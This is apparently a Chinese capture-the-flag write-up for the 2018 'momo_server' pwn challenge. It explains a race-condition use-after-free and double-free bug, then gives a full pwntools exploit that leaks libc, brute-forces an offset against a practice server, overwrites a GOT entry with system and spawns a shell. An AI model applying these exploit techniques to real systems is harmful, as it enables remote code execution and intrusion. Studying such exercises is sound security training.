0%

骇极杯_2018_momo_server(条件竞争UAF)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

Count功能开启了一个线程

该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。

结尾会将ptr指针清零

在add函数中,如果name已存在,那么仅更新count和flag。

因此,我们在ptr[i]被清零之前,通过add更新count和flag,这样,name就会被二次free,也就是存在条件竞争double free漏洞。

通过实验,发现在线程里调用free释放主线程里的堆后,只有当线程结束以后,堆chunk才会被放到主线程的arena里,并且不会放到tcache bin里,而是直接放到其他bin里。因此,我们可以构造fastbin的double free。

Add功能中,malloc的大小是解码前的数据大小,而复制的大小则是解码后的字符串计算长度。因此,[将\x00数据进行URL编码,从而可以绕过第一次strlen计算的0截断问题。]{.mark}

Echo功能可以用来泄露栈上的数据,但是本地栈和远程栈有些不一样,因此,我们猜测远程的数据为libc中的某个地址,然后通过多次枚举爆破,可以得到远程的libc地址。

爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding:utf8
from pwn import *
import urllib

libc = ELF('./libc-2.27.so')

#context.log_level = 'debug'

def add(content,count):
payload = 'POST /add Connection: keep-alive\n\n'
payload += 'memo=' + content + '&count=' + str(count)
sh.sendline(payload)
sh.recvuntil('{"status":"ok"}')

def delete():
payload = 'POST /count Connection: keep-alive\n\n'
sh.sendline(payload)
sh.recvuntil('{"status":"ok"}')

def show():
payload = 'GET /list Connection: keep-alive\n\n'
sh.sendline(payload)
sh.recvuntil('Content-Type: text/html')

def echo(content):
payload = 'POST /echo Connection: keep-alive\n\n'
payload += 'content=' + content
sh.send(payload)

def exploit(x):
echo('a'*0x38)
sh.recvuntil('a'*0x38)
offset = (x << 12) + 0x9d0
libc_base = u64(sh.recvuntil('"}',drop = True).ljust(8,'\x00')) - offset

if libc_base >> 40 != 0x7F:
raise Exception('leak error!')
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

add('a'*0x30,1)
add('b'*0x30,1)
add('c'*0x30,1)
add('d'*0x40,3)
#条件竞争UAF
delete()
sleep(2)

show()
sh.recvuntil('count</th></tr><tr><td></td><td>0</td></tr><tr><td>')
name = sh.recvuntil('</td>',drop = True)
heap_addr = u64(name.ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#条件竞争double free
add(name,1)
fake_chunk_got = 0x000000000060306A
#确保线程结束
sleep(3)
#通过URL编码,是的0x000000000060306A变成16进制字符串的形式,从而不会截断
add(urllib.quote(p32(0x60306A).ljust(0x30, 'a')),0x100)
add('a'*0x30,0x100)
add('b'*0x30,0x100)

payload = 'c'*0x16 + urllib.quote(p64(system_addr))
payload = payload.ljust(0x30,'c')

add(payload,0x100)
sh.send('/bin/sh\x00')

sh.interactive()

for x in range(0xFF):
print 'x=',hex(x)
while True:
try:
global sh
sh = remote('node3.buuoj.cn',25344) #远程最终爆破出x = 0x11
#sh = process('./2018_momo_server',env = {'LD_PRELOAD':'./libc-2.27.so'})
exploit(x)
break
except Exception as e:
print 'trying...'
sh.close()